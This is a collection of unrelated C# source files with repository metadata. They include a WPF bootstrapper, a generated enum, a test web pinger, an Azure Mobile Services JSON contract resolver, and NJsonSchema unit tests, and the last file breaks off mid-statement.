using Caliburn.Micro; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using TRMDesktopUserInterface.Helpers; using TRMDesktopUserInterface.ViewModels; namespace TRMDesktopUserInterface { public class Bootstrapper : BootstrapperBase { private SimpleContainer _container = new SimpleContainer(); public Bootstrapper() { Initialize(); ConventionManager.AddElementConvention<PasswordBox>( PasswordBoxHelper.BoundPasswordProperty, "Password", "PasswordChanged"); } protected override void Configure() { _container.Instance(_container); _container .Singleton<IWindowManager, WindowManager>() .Singleton<IEventAggregator, EventAggregator>() .Singleton<IAPIHelper, APIHelper>(); GetType().Assembly.GetTypes() .Where(type => type.IsClass) .Where(type => type.Name.EndsWith("ViewModel")) .ToList() .ForEach(viewModelType => _container.RegisterPerRequest( viewModelType, viewModelType.ToString(), viewModelType)); } protected override void OnStartup(object sender, StartupEventArgs e) { DisplayRootViewFor<ShellViewModel>(); } protected override object GetInstance(Type service, string key) { return _container.GetInstance(service, key); } protected override IEnumerable<object> GetAllInstances(Type service) { return _container.GetAllInstances(service); } protected override void BuildUp(object instance) { _container.BuildUp(instance); } } }
28.818182
77
0.623028
[ "MIT" ]
anahiza/RetailManagerCourse
TRMDesktopUserInterface/Bootstrapper.cs
1,904
C#
// <auto-generated> // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. // </auto-generated> namespace UiPath.Web.Client20181.Models { using Newtonsoft.Json; using Newtonsoft.Json.Converters; using System.Runtime; using System.Runtime.Serialization; /// <summary> /// Defines values for TransformationNodeKind. /// </summary> [JsonConverter(typeof(StringEnumConverter))] public enum TransformationNodeKind { [EnumMember(Value = "Aggregate")] Aggregate, [EnumMember(Value = "GroupBy")] GroupBy, [EnumMember(Value = "Filter")] Filter } internal static class TransformationNodeKindEnumExtension { internal static string ToSerializedValue(this TransformationNodeKind? value) { return value == null ? null : ((TransformationNodeKind)value).ToSerializedValue(); } internal static string ToSerializedValue(this TransformationNodeKind value) { switch( value ) { case TransformationNodeKind.Aggregate: return "Aggregate"; case TransformationNodeKind.GroupBy: return "GroupBy"; case TransformationNodeKind.Filter: return "Filter"; } return null; } internal static TransformationNodeKind? ParseTransformationNodeKind(this string value) { switch( value ) { case "Aggregate": return TransformationNodeKind.Aggregate; case "GroupBy": return TransformationNodeKind.GroupBy; case "Filter": return TransformationNodeKind.Filter; } return null; } } }
30.68254
94
0.58717
[ "MIT" ]
AFWberlin/orchestrator-powershell
UiPath.Web.Client/generated20181/Models/TransformationNodeKind.cs
1,933
C#
using System; using System.Net.Http; using System.Threading.Tasks; namespace Atomiv.Test.AspNetCore { public class WebPinger { public async Task<WebPingResponse> PingAsync(Uri uri) { // TODO: VC: Use component try { using (var client = CreateHttpClient(uri)) { var response = await client.GetAsync(""); var success = response.IsSuccessStatusCode; var code = response.StatusCode; var content = await response.Content.ReadAsStringAsync(); return new WebPingResponse(success, code, content); } } catch (Exception ex) { var message = ex.ToString(); return new WebPingResponse(false, 0, message); } } public Task<WebPingResponse> PingAsync(string baseUrl, string relativePath) { var baseUri = new Uri(baseUrl); var uri = new Uri(baseUri, relativePath); return PingAsync(uri); } private HttpClient CreateHttpClient(Uri uri) { var baseAddress = uri; return new HttpClient { BaseAddress = baseAddress, }; } } }
27.16
83
0.5081
[ "MIT" ]
atomiv/atomiv-cs
test/Base/AspNetCore/WebPinger.cs
1,360
C#
using CoreLoader.Core; namespace CoreLoader.Plugins.Logging.Disk { internal class DiskLoggingPluginDefinition : IPluginDefinition { public string Name { get; } = "Disk Logging"; public string Version { get; } = "1.0"; public string Description { get; } = "Provides persistent output for Manti."; public object[] Provides { get; } = { "nz.co.makereti.manti.logging" }; public dynamic CreateInstance(Platform platform) { return new DiskLoggingPlugin(platform); } } }
32.176471
85
0.638026
[ "MIT" ]
drkno/Man
CoreLoader/Plugins/Logging/Disk/DiskLoggingPluginDefinition.cs
549
C#
// ---------------------------------------------------------------------------- // Copyright (c) Microsoft Corporation. All rights reserved. // ---------------------------------------------------------------------------- using System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Reflection; using System.Runtime.Serialization; using Newtonsoft.Json; using Newtonsoft.Json.Serialization; using System.Threading; using System.Threading.Tasks; namespace Microsoft.WindowsAzure.MobileServices { /// <summary> /// An <see cref="IContractResolver"/> implementation that is used with the /// <see cref="MobileServiceClient"/>. /// </summary> public class MobileServiceContractResolver : DefaultContractResolver { /// <summary> /// The property names that are all aliased to be the id of an instance. /// </summary> private static readonly string[] idPropertyNames = { "id", "Id", "ID" }; /// <summary> /// The system property names mapped to the enum values /// </summary> private static readonly Dictionary<string, MobileServiceSystemProperties> systemPropertyNameToEnum = new Dictionary<string, MobileServiceSystemProperties>(StringComparer.OrdinalIgnoreCase) { { GetSystemPropertyString(MobileServiceSystemProperties.CreatedAt), MobileServiceSystemProperties.CreatedAt }, { GetSystemPropertyString(MobileServiceSystemProperties.UpdatedAt), MobileServiceSystemProperties.UpdatedAt } , { GetSystemPropertyString(MobileServiceSystemProperties.Version), MobileServiceSystemProperties.Version }, { GetSystemPropertyString(MobileServiceSystemProperties.Deleted), MobileServiceSystemProperties.Deleted } }; /// <summary> /// A cache of the id <see cref="JsonProperty"/> for a given type. Used to /// get and set the id value of instances. /// </summary> private readonly Dictionary<Type, JsonProperty> idPropertyCache = new Dictionary<Type, JsonProperty>(); /// <summary> /// A cache of <see cref="JsonProperty"/> instances for a given /// <see cref="MemberInfo"/> instance. Used to determine the property name /// to serialize from the <see cref="MemberInfo"/> used within an /// <see cref="System.Linq.Expressions.Expression"/> instance. /// </summary> private readonly Dictionary<MemberInfo, JsonProperty> jsonPropertyCache = new Dictionary<MemberInfo, JsonProperty>(); /// <summary> /// A lock used to synchronize concurrent access to the jsonPropertyCache. /// </summary> private readonly ReaderWriterLockSlim jsonPropertyCacheLock = new ReaderWriterLockSlim(); /// <summary> /// A cache of the system properties supported for a given type. /// </summary> private readonly Dictionary<Type, MobileServiceSystemProperties> systemPropertyCache = new Dictionary<Type, MobileServiceSystemProperties>(); /// <summary> /// A cache of table names for a given Type that accounts for table renaming /// via the DataContractAttribute, DataTableAttribute and/or the JsonObjectAttribute. /// </summary> private readonly Dictionary<Type, string> tableNameCache = new Dictionary<Type, string>(); /// <summary> /// Indicates if the property names should be camel-cased when serialized /// out into JSON. /// </summary> internal bool CamelCasePropertyNames { get; set; } /// <summary> /// Locks for the CreateProperties methods /// </summary> private static readonly IDictionary<Type, object> createPropertiesForTypeLocks = new Dictionary<Type, object>(); /// <summary> /// Returns a table name for a type and accounts for table renaming /// via the DataContractAttribute, DataTableAttribute and/or the JsonObjectAttribute. /// </summary> /// <param name="type"> /// The type for which to return the table name. /// </param> /// <returns> /// The table name. /// </returns> public virtual string ResolveTableName(Type type) { // Lookup the Mobile Services name of the Type and use that string name = null; lock (tableNameCache) { if (!this.tableNameCache.TryGetValue(type, out name)) { // By default, use the type name itself name = type.Name; if (type.GetTypeInfo().GetCustomAttributes(typeof(DataContractAttribute), true) .FirstOrDefault() is DataContractAttribute dataContractAttribute) { if (!string.IsNullOrWhiteSpace(dataContractAttribute.Name)) { name = dataContractAttribute.Name; } } if (type.GetTypeInfo().GetCustomAttributes(typeof(JsonContainerAttribute), true) .FirstOrDefault() is JsonContainerAttribute jsonContainerAttribute) { if (!string.IsNullOrWhiteSpace(jsonContainerAttribute.Title)) { name = jsonContainerAttribute.Title; } } if (type.GetTypeInfo().GetCustomAttributes(typeof(DataTableAttribute), true) .FirstOrDefault() is DataTableAttribute dataTableAttribute) { if (!string.IsNullOrEmpty(dataTableAttribute.Name)) { name = dataTableAttribute.Name; } } this.tableNameCache[type] = name; // Build the JsonContract now to catch any contract errors early this.CreateContract(type); } } return name; } /// <summary> /// Returns the id <see cref="JsonProperty"/> for the given type. The <see cref="JsonProperty"/> /// can be used to get/set the id value of an instance of the given type. /// </summary> /// <param name="type"> /// The type for which to get the id <see cref="JsonProperty"/>. /// </param> /// <returns> /// The id <see cref="JsonProperty"/>. /// </returns> public virtual JsonProperty ResolveIdProperty(Type type) { return ResolveIdProperty(type, throwIfNotFound: true); } internal JsonProperty ResolveIdProperty(Type type, bool throwIfNotFound) { if (!this.idPropertyCache.TryGetValue(type, out JsonProperty property)) { ResolveContract(type); this.idPropertyCache.TryGetValue(type, out property); } if (property == null && throwIfNotFound) { throw new InvalidOperationException( string.Format(CultureInfo.InvariantCulture, "No '{0}' member found on type '{1}'.", MobileServiceSystemColumns.Id, type.FullName)); } return property; } /// <summary> /// Returns the system properties as a comma seperated list for a /// given type. Returns null if the type does not support system properties. /// </summary> /// <param name="type">The type for which to get the system properties.</param> /// <returns> /// The system properties as a comma seperated list for the given type or null /// if the type does not support system properties. /// </returns> public virtual MobileServiceSystemProperties ResolveSystemProperties(Type type) { this.systemPropertyCache.TryGetValue(type, out MobileServiceSystemProperties systemProperties); return systemProperties; } /// <summary> /// Returns the <see cref="JsonProperty"/> for the given <see cref="MemberInfo"/> instance. /// The <see cref="JsonProperty"/> can be used to get information about how the /// <see cref="MemberInfo"/> should be serialized. /// </summary> /// <param name="member"> /// The <see cref="MemberInfo"/> for which to get the <see cref="JsonProperty"/>. /// </param> /// <returns> /// The <see cref="JsonProperty"/> for the given <see cref="MemberInfo"/> instance. /// </returns> public virtual JsonProperty ResolveProperty(MemberInfo member) { JsonProperty property = null; try { jsonPropertyCacheLock.EnterUpgradeableReadLock(); if (!this.jsonPropertyCache.TryGetValue(member, out property)) { ResolveContract(member.DeclaringType); this.jsonPropertyCache.TryGetValue(member, out property); } } finally { jsonPropertyCacheLock.ExitUpgradeableReadLock(); } return property; } /// <summary> /// Returns the name that should be serialized into JSON for a given property name. /// </summary> /// <remarks> /// This method is overridden to support camel-casing the property names. /// </remarks> /// <param name="propertyName"> /// The property name to be resolved. /// </param> /// <returns> /// The resolved property name. /// </returns> protected override string ResolvePropertyName(string propertyName) { if (this.CamelCasePropertyNames) { if (!string.IsNullOrWhiteSpace(propertyName) && char.IsUpper(propertyName[0])) { string original = propertyName; propertyName = char.ToLower(propertyName[0]).ToString(); if (original.Length > 1) { propertyName += original.Substring(1); } } } return propertyName; } /// <summary> /// Creates a <see cref="JsonObjectContract"/> that provides information about how /// the given type should be serialized to JSON. /// </summary> /// <remarks> /// This method is overridden in order to catch types that have /// <see cref="DataMemberAttribute"/> on one or more members without having a /// <see cref="DataContractAttribute"/> on the type itself. This used to be supported /// but no longer is and therefore an exception must be thrown for such types. The exception /// informs the developer about how to correctly attribute the type with the /// <see cref="JsonPropertyAttribute"/> instead of the <see cref="DataMemberAttribute"/>. /// </remarks> /// <param name="objectType">The type for which to return a <see cref="JsonObjectContract"/>.</param> /// <returns>The <see cref="JsonObjectContract"/> for the type.</returns> protected override JsonObjectContract CreateObjectContract(Type objectType) { JsonObjectContract contract = base.CreateObjectContract(objectType); if (!(objectType.GetTypeInfo().GetCustomAttributes(typeof(DataContractAttribute), true) .FirstOrDefault() is DataContractAttribute dataContractAttribute)) { // Make sure the type does not have a base class with a [DataContract] Type baseTypeWithDataContract = objectType.GetTypeInfo().BaseType; while (baseTypeWithDataContract != null) { if (baseTypeWithDataContract.GetTypeInfo().GetCustomAttributes(typeof(DataContractAttribute), true).Any()) { break; } else { baseTypeWithDataContract = baseTypeWithDataContract.GetTypeInfo().BaseType; } } if (baseTypeWithDataContract != null) { throw new NotSupportedException( string.Format(CultureInfo.InvariantCulture, "The type '{0}' does not have a DataContractAttribute, but the type derives from the type '{1}', which does have a DataContractAttribute. If a type has a DataContractAttribute, any type that derives from that type must also have a DataContractAttribute.", objectType.FullName, baseTypeWithDataContract.FullName)); } // [DataMember] attributes on members without a [DataContract] // attribute on the type itself used to be honored. Now with JSON.NET, [DataMember] // attributes are ignored if there is no [DataContract] attribute on the type. // To ensure types are not serialized differently, an exception must be thrown if this // type is using [DataMember] attributes without a [DataContract] on the type itself. if (objectType.GetRuntimeProperties() .Where(m => m.GetCustomAttributes(typeof(DataMemberAttribute), true) .FirstOrDefault() != null) .Any()) { throw new NotSupportedException( string.Format(CultureInfo.InvariantCulture, "The type '{0}' has one or members with a DataMemberAttribute, but the type itself does not have a DataContractAttribute. Use the Newtonsoft.Json.JsonPropertyAttribute in place of the DataMemberAttribute and set the PropertyName to the desired name.", objectType.FullName)); } } return contract; } /// <summary> /// Creates a <see cref="JsonProperty"/> for a given <see cref="MemberInfo"/> instance. /// </summary> /// <remarks> /// This method is overridden in order set specialized <see cref="IValueProvider"/> /// implementations for certain property types. The date types (<see cref="DateTime"/>, /// <see cref="DateTimeOffset"/>) require conversion to UTC dates on serialization and to /// local dates on deserialization. The numerical types (<see cref="long"/>, <see cref="ulong"/>, /// <see cref="decimal"/>) require checks to ensure that precision will not be lost on /// the server. /// </remarks> /// <param name="member"> /// The <see cref="MemberInfo"/> for which to creat the <see cref="JsonProperty"/>. /// </param> /// <param name="memberSerialization"> /// Specifies the member serialization options for the member. /// </param> /// <returns> /// A <see cref="JsonProperty"/> for a given <see cref="MemberInfo"/> instance. /// </returns> protected override JsonProperty CreateProperty(MemberInfo member, MemberSerialization memberSerialization) { JsonProperty property = base.CreateProperty(member, memberSerialization); try { jsonPropertyCacheLock.EnterWriteLock(); this.jsonPropertyCache[member] = property; } finally { jsonPropertyCacheLock.ExitWriteLock(); } return property; } /// <summary> /// Creates a collection of <see cref="JsonProperty"/> instances for the members of a given /// type. /// </summary> /// <remarks> /// This method is overridden in order to handle the id property of the type. Because multiple /// property names ("id" with different casings) are all treated as the id property, we must /// ensure that there is one and only one id property for the type. Also, the id property /// should be ignored when it is the default or null value and it should always serialize to JSON /// with a lowercase 'id' name. /// /// This method also checks for and applies and system property attributes. /// </remarks> /// <param name="type"> /// The type for which to create the collection of <see cref="JsonProperty"/> instances. /// </param> /// <param name="memberSerialization"> /// Specifies the member serialization options for the type. /// </param> /// <returns> /// A collection of <see cref="JsonProperty"/> instances for the members of a given /// type. /// </returns> protected override IList<JsonProperty> CreateProperties(Type type, MemberSerialization memberSerialization) { lock (createPropertiesForTypeLocks) { if (!createPropertiesForTypeLocks.ContainsKey(type)) { createPropertiesForTypeLocks.Add(type, new object()); } } lock (createPropertiesForTypeLocks[type]) { return CreatePropertiesInner(type, memberSerialization); } } private IList<JsonProperty> CreatePropertiesInner(Type type, MemberSerialization memberSerialization) { var properties = base.CreateProperties(type, memberSerialization); // If this type is for a known table, ensure that it has an id. TypeInfo typeInfo = type.GetTypeInfo(); if (tableNameCache.ContainsKey(type) || tableNameCache.Keys.Any(t => t.GetTypeInfo().IsAssignableFrom(typeInfo))) { // Filter out properties that are not read/write properties = properties.Where(p => p.Writable).ToList(); // Find the id property DetermineIdProperty(type, properties); // Set any needed converters and look for system property attributes var relevantProperties = FilterJsonPropertyCacheByType(typeInfo); foreach (var property in properties) { try { var kvp = relevantProperties.SingleOrDefault(x => x.Value == property); var memberInfo = kvp.Key; if (memberInfo == default) { kvp = relevantProperties.SingleOrDefault(x => x.Value.PropertyName == property.PropertyName); memberInfo = kvp.Key; } if (memberInfo == default) System.Diagnostics.Debug.WriteLine(""); SetMemberConverters(property); ApplySystemPropertyAttributes(property, memberInfo); } catch (Exception e) { System.Diagnostics.Debug.WriteLine(""); } } // Determine the system properties from the property names // and add the system properties to the cache AddSystemPropertyCacheEntry(type, properties); } return properties; } /// <summary> /// Creates the <see cref="IValueProvider"/> used by the serializer to get and set values from a member. /// </summary> /// <param name="member">The member.</param> /// <returns>The <see cref="IValueProvider"/> used by the serializer to get and set values from a member.</returns> protected override IValueProvider CreateMemberValueProvider(MemberInfo member) { // always use the ReflectionValueProvider to make sure our behavior is consistent accross platforms. return new ReflectionValueProvider(member); } /// <summary> /// Acquire a list of all MemberInfos currently tracked by the contract resolver in a threadsafe manner. /// </summary> /// <returns>A collection of <see cref="MemberInfo"/> instances.</returns> private IList<KeyValuePair<MemberInfo, JsonProperty>> FilterJsonPropertyCacheByType(TypeInfo typeInfo) { try { jsonPropertyCacheLock.EnterReadLock(); return jsonPropertyCache.Where(pair => pair.Key.DeclaringType.GetTypeInfo().IsAssignableFrom(typeInfo)).ToList(); } finally { jsonPropertyCacheLock.ExitReadLock(); } } /// <summary> /// Searches over the properties and their names to determine which system properties /// have been applied to the type, and then adds an entry into the system properties cache /// for the type. /// </summary> /// <param name="type">The type.</param> /// <param name="properties">The JsonProperties of the type.</param> private void AddSystemPropertyCacheEntry(Type type, IEnumerable<JsonProperty> properties) { MobileServiceSystemProperties systemProperties = MobileServiceSystemProperties.None; foreach (JsonProperty property in properties) { MobileServiceSystemProperties systemProperty = MobileServiceSystemProperties.None; if (!property.Ignored && systemPropertyNameToEnum.TryGetValue(property.PropertyName, out systemProperty)) { // Make sure there is not already a property that has been associated with // the system property. if ((systemProperties & systemProperty) == systemProperty) { throw new InvalidOperationException( string.Format(CultureInfo.InvariantCulture, "Only one member may have the property name '{0}' (regardless of casing) on type '{1}'.", property.PropertyName, type.FullName)); } else { systemProperties |= systemProperty; } } } this.systemPropertyCache[type] = systemProperties; } /// <summary> /// Determines which of the properties is the id property for the type. /// </summary> /// <param name="type">The type to determine the id property of.</param> /// <param name="properties">The properties of the types.</param> /// <returns>The id property.</returns> private JsonProperty DetermineIdProperty(Type type, IEnumerable<JsonProperty> properties) { // Get the Id properties JsonProperty[] idProperties = properties.Where(p => idPropertyNames.Contains(p.PropertyName) && !p.Ignored).ToArray(); // Ensure there is one and only one id property if (idProperties.Length > 1) { throw new InvalidOperationException( string.Format(CultureInfo.InvariantCulture, "Only one member may have the property name '{0}' (regardless of casing) on type '{1}'.", MobileServiceSystemColumns.Id, type.FullName)); } if (idProperties.Length < 1) { throw new InvalidOperationException( string.Format(CultureInfo.InvariantCulture, "No '{0}' member found on type '{1}'.", MobileServiceSystemColumns.Id, type.FullName)); } JsonProperty idProperty = idProperties[0]; idProperty.PropertyName = MobileServiceSystemColumns.Id; idProperty.NullValueHandling = NullValueHandling.Ignore; idProperty.DefaultValueHandling = DefaultValueHandling.Ignore; this.idPropertyCache[type] = idProperty; return idProperty; } /// <summary> /// Given a <see cref="MobileServiceSystemProperties"/> enum value, returns the string value with the /// correct casing. /// </summary> /// <param name="systemProperty">The system property.</param> /// <returns>A string of the system property with the correct casing.</returns> private static string GetSystemPropertyString(MobileServiceSystemProperties systemProperty) { string enumAsString = systemProperty.ToString(); char firstLetterAsLower = char.ToLowerInvariant(enumAsString[0]); return string.Format("{0}{1}", firstLetterAsLower, enumAsString.Substring(1)); } /// <summary> /// Applies the system property attribute to the property by renaming the property to the /// system property name. /// </summary> /// <param name="property">The property.</param> /// <param name="member">The <see cref="MemberInfo"/> that corresponds to the property.</param> private static void ApplySystemPropertyAttributes(JsonProperty property, MemberInfo member) { // Check for system property attributes MobileServiceSystemProperties systemProperties = MobileServiceSystemProperties.None; foreach (object attribute in member.GetCustomAttributes(true)) { if (attribute is ISystemPropertyAttribute systemProperty) { if (systemProperties != MobileServiceSystemProperties.None) { throw new InvalidOperationException( string.Format(CultureInfo.InvariantCulture, "A member can only have one system property attribute. The member '{0}' on type '{1}' has system property attributes '{2}' and '{3}'.", member.Name, member.DeclaringType.FullName, systemProperty.SystemProperty, systemProperties)); } property.PropertyName = GetSystemPropertyString(systemProperty.SystemProperty); systemProperties = systemProperty.SystemProperty; } } } /// <summary> /// Sets the member converters on the property if the property is a value type. /// </summary> /// <param name="property">The property to add the member converters to.</param> private static void SetMemberConverters(JsonProperty property) { if (property.PropertyType.GetTypeInfo().IsValueType) { // The NullHandlingConverter will ensure that nulls get treated as the default value // for value types. if (property.Converter == null) { property.Converter = NullHandlingConverter.Instance; } else { property.Converter = new NullHandlingConverter(property.Converter); } } } /// <summary> /// An implementation of <see cref="JsonConverter"/> to be used with value type /// properties to ensure that null values in a JSON payload are deserialized as /// the default value for the value type. /// </summary> private class NullHandlingConverter : JsonConverter { /// <summary> /// A singleton instance of the <see cref="NullHandlingConverter"/> because /// the <see cref="NullHandlingConverter"/> has no state and can be shared /// between many properties. /// </summary> public static NullHandlingConverter Instance = new NullHandlingConverter(); /// <summary> /// Inner converter. /// </summary> private readonly JsonConverter inner; /// <summary> /// Handles nulls as default values. /// </summary> /// <param name="inner"></param> public NullHandlingConverter(JsonConverter inner = null) { this.inner = inner; } /// <summary> /// Indicates if the <see cref="NullHandlingConverter"/> can be used with /// a given type. /// </summary> /// <param name="objectType"> /// The type under consideration. /// </param> /// <returns> /// <c>true</c> for value types and <c>false</c> otherwise. /// </returns> public override bool CanConvert(Type objectType) { return objectType.GetTypeInfo().IsValueType || (inner != null && inner.CanConvert(objectType)); } /// <summary> /// Reads the JSON representation of the object. /// The reason why this works is /// </summary> /// <param name="reader"> /// The <see cref="JsonReader"/> to read from. /// </param> /// <param name="objectType"> /// The type of the object. /// </param> /// <param name="existingValue"> /// The exisiting value of the object being read. /// </param> /// <param name="serializer"> /// The calling serializer. /// </param> /// <returns> /// The object value. /// </returns> public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer) { if (inner != null && inner.CanConvert(objectType) && inner.CanRead) { return inner.ReadJson(reader, objectType, existingValue, serializer); } else if (reader.TokenType == JsonToken.Null) { //create default values if null is not a valid value if (objectType.GetTypeInfo().IsValueType) { //create default value return Activator.CreateInstance(objectType); } return null; } else { return serializer.Deserialize(reader, objectType); } } /// <summary> /// Writes the JSON representation of the object. /// </summary> /// <param name="writer"> /// The <see cref="JsonWriter"/> to write to. /// </param> /// <param name="value"> /// The value to write. /// </param> /// <param name="serializer"> /// The calling serializer. /// </param> public override void WriteJson(JsonWriter writer, object value, JsonSerializer serializer) { if (inner != null && inner.CanWrite) { inner.WriteJson(writer, value, serializer); } else { serializer.Serialize(writer, value); } } } } }
44.915042
283
0.554064
[ "Apache-2.0" ]
baskren/azure-mobile-apps-net-client
src/Microsoft.Azure.Mobile.Client/Table/Serialization/MobileServiceContractResolver.cs
32,251
C#
namespace Wikiled.Text.Analysis.POS.Tags { public class Symbol : BasePOSType { private Symbol() { } public override string Description => "Symbol"; public override WordType WordType => WordType.Symbol; public static Symbol Instance { get; } = new Symbol(); public override string Tag => "SYM"; } }
19.578947
62
0.594086
[ "MIT" ]
AndMu/Wikiled.Text.Analysis
src/Wikiled.Text.Analysis/POS/Tags/Symbol.cs
374
C#
using Oxygen.Client.ServerProxyFactory.Interface; using Oxygen.Client.ServerSymbol.Store; using Oxygen.MulitlevelCache; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Infrastructure.Cached { public class L2Cache : IL2CacheServiceFactory { private readonly IStateManager stateManager; public L2Cache(IStateManager stateManager) { this.stateManager = stateManager; } public async Task<T> GetAsync<T>(string key) { var cache = await stateManager.GetState(new L2CacheStore(key),typeof(T)); //Console.WriteLine($"L2缓存被调用,KEY={key},value{(cache == null ? "不存在" : "存在")}"); if (cache != null) return (T)cache; return default(T); } public async Task<bool> SetAsync<T>(string key, T value, int expireTimeSecond = 0) { var resp = await stateManager.SetState(new L2CacheStore(key, value, expireTimeSecond)); return resp != null; } } internal class L2CacheStore : StateStore { public L2CacheStore(string key, object data, int expireTimeSecond = 0) { Key = $"DarpEshopL2CacheStore_{key}"; this.Data = data; this.TtlInSeconds = expireTimeSecond; } public L2CacheStore(string key) { Key = $"DarpEshopL2CacheStore_{key}"; } public override string Key { get; set; } public override object Data { get; set; } } }
31.86
99
0.613308
[ "MIT" ]
dorisoy/EshopSample
Services/AccountService/Infrastructure/Cached/L2Cache.cs
1,615
C#
using System.Collections.Generic; using System.Collections.ObjectModel; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; using Newtonsoft.Json; using Newtonsoft.Json.Converters; using Newtonsoft.Json.Linq; using NJsonSchema.Generation; using Xunit; namespace NJsonSchema.Tests.Conversion { public class TypeToSchemaTests { [Fact] public async Task When_converting_in_round_trip_then_json_should_be_the_same() { //// Arrange var schema = JsonSchema.FromType<MyType>(); /// Act var schemaData1 = JsonConvert.SerializeObject(schema, Formatting.Indented); var schema2 = JsonConvert.DeserializeObject<JsonSchema>(schemaData1); var schemaData2 = JsonConvert.SerializeObject(schema2, Formatting.Indented); //// Assert Assert.Equal(schemaData1, schemaData2); } [Fact] public async Task When_converting_simple_property_then_property_must_be_in_schema() { //// Act var schema = JsonSchema.FromType<MyType>(); var data = schema.ToJson(); //// Assert Assert.Equal(JsonObjectType.Integer, schema.Properties["Integer"].Type); Assert.Equal(JsonObjectType.Number, schema.Properties["Decimal"].Type); Assert.Equal(JsonObjectType.Number, schema.Properties["Double"].Type); Assert.Equal(JsonObjectType.Boolean, schema.Properties["Boolean"].Type); Assert.Equal(JsonObjectType.String | JsonObjectType.Null, schema.Properties["String"].Type); Assert.Equal(JsonObjectType.Array | JsonObjectType.Null, schema.Properties["Array"].Type); } [Fact] public async Task When_converting_nullable_simple_property_then_property_must_be_in_schema() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.Equal(JsonObjectType.Integer | JsonObjectType.Null, schema.Properties["NullableInteger"].Type); Assert.Equal(JsonObjectType.Number | JsonObjectType.Null, schema.Properties["NullableDecimal"].Type); Assert.Equal(JsonObjectType.Number | JsonObjectType.Null, schema.Properties["NullableDouble"].Type); Assert.Equal(JsonObjectType.Boolean | JsonObjectType.Null, schema.Properties["NullableBoolean"].Type); } [Fact] public async Task When_converting_property_with_description_then_description_should_be_in_schema() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.Equal("Test", schema.Properties["Integer"].Description); } [Fact] public async Task When_converting_required_property_then_it_should_be_required_in_schema() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.True(schema.Properties["RequiredReference"].IsRequired); } [Fact] public async Task When_converting_regex_property_then_it_should_be_set_as_pattern() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.Equal("regex", schema.Properties["RegexString"].Pattern); } [Fact] public async Task When_converting_range_property_then_it_should_be_set_as_min_max() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.Equal(5, schema.Properties["RangeInteger"].Minimum); Assert.Equal(10, schema.Properties["RangeInteger"].Maximum); } [Fact] public async Task When_converting_not_nullable_properties_then_they_should_have_null_type() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.False(schema.Properties["Integer"].IsRequired); Assert.False(schema.Properties["Decimal"].IsRequired); Assert.False(schema.Properties["Double"].IsRequired); Assert.False(schema.Properties["Boolean"].IsRequired); Assert.False(schema.Properties["String"].IsRequired); Assert.False(schema.Properties["Integer"].Type.HasFlag(JsonObjectType.Null)); Assert.False(schema.Properties["Decimal"].Type.HasFlag(JsonObjectType.Null)); Assert.False(schema.Properties["Double"].Type.HasFlag(JsonObjectType.Null)); Assert.False(schema.Properties["Boolean"].Type.HasFlag(JsonObjectType.Null)); Assert.True(schema.Properties["String"].Type.HasFlag(JsonObjectType.Null)); } [Fact] public async Task When_generating_nullable_primitive_properties_then_they_should_have_null_type() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.True(schema.Properties["NullableInteger"].Type.HasFlag(JsonObjectType.Null)); Assert.True(schema.Properties["NullableDecimal"].Type.HasFlag(JsonObjectType.Null)); Assert.True(schema.Properties["NullableDouble"].Type.HasFlag(JsonObjectType.Null)); Assert.True(schema.Properties["NullableBoolean"].Type.HasFlag(JsonObjectType.Null)); } [Fact] public async Task When_property_is_renamed_then_the_name_must_be_correct() { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert Assert.True(schema.Properties.ContainsKey("abc")); Assert.False(schema.Properties.ContainsKey("ChangedName")); } [Fact] public async Task When_converting_object_then_it_should_be_correct() { //// Act var schema = JsonSchema.FromType<MyType>(); var data = schema.ToJson(); //// Assert var property = schema.Properties["Reference"]; Assert.True(property.IsNullable(SchemaType.JsonSchema)); Assert.Contains(schema.Definitions, d => d.Key == "MySubtype"); } [Fact] public async Task When_converting_enum_then_enum_array_must_be_set() { //// Act var schema = JsonSchema.FromType<MyType>(new JsonSchemaGeneratorSettings { DefaultEnumHandling = EnumHandling.Integer }); var property = schema.Properties["Color"]; //// Assert Assert.Equal(3, property.ActualTypeSchema.Enumeration.Count); // Color property has StringEnumConverter Assert.True(property.ActualTypeSchema.Enumeration.Contains("Red")); Assert.True(property.ActualTypeSchema.Enumeration.Contains("Green")); Assert.True(property.ActualTypeSchema.Enumeration.Contains("Blue")); } public class ClassWithJObjectProperty { public JObject Property { get; set; } } [Fact] public async Task When_type_is_JObject_then_generated_type_is_any() { //// Act var schema = JsonSchema.FromType<ClassWithJObjectProperty>(); var schemaData = schema.ToJson(); var property = schema.Properties["Property"]; //// Assert Assert.True(property.IsNullable(SchemaType.JsonSchema)); Assert.True(property.ActualTypeSchema.IsAnyType); Assert.True(property.ActualTypeSchema.AllowAdditionalItems); Assert.Equal(0, property.Properties.Count); } [Fact] public async Task When_converting_array_then_items_must_correctly_be_loaded() { await When_converting_smth_then_items_must_correctly_be_loaded("Array"); } [Fact] public async Task When_converting_collection_then_items_must_correctly_be_loaded() { await When_converting_smth_then_items_must_correctly_be_loaded("Collection"); } [Fact] public async Task When_converting_list_then_items_must_correctly_be_loaded() { await When_converting_smth_then_items_must_correctly_be_loaded("List"); } private async Task When_converting_smth_then_items_must_correctly_be_loaded(string propertyName) { //// Act var schema = JsonSchema.FromType<MyType>(); //// Assert var property = schema.Properties[propertyName]; Assert.Equal(JsonObjectType.Array | JsonObjectType.Null, property.Type); Assert.Equal(JsonObjectType.Object, property.ActualSchema.Item.ActualSchema.Type); Assert.Contains(schema.Definitions, d => d.Key == "MySubtype"); Assert.Equal(JsonObjectType.String | JsonObjectType.Null, 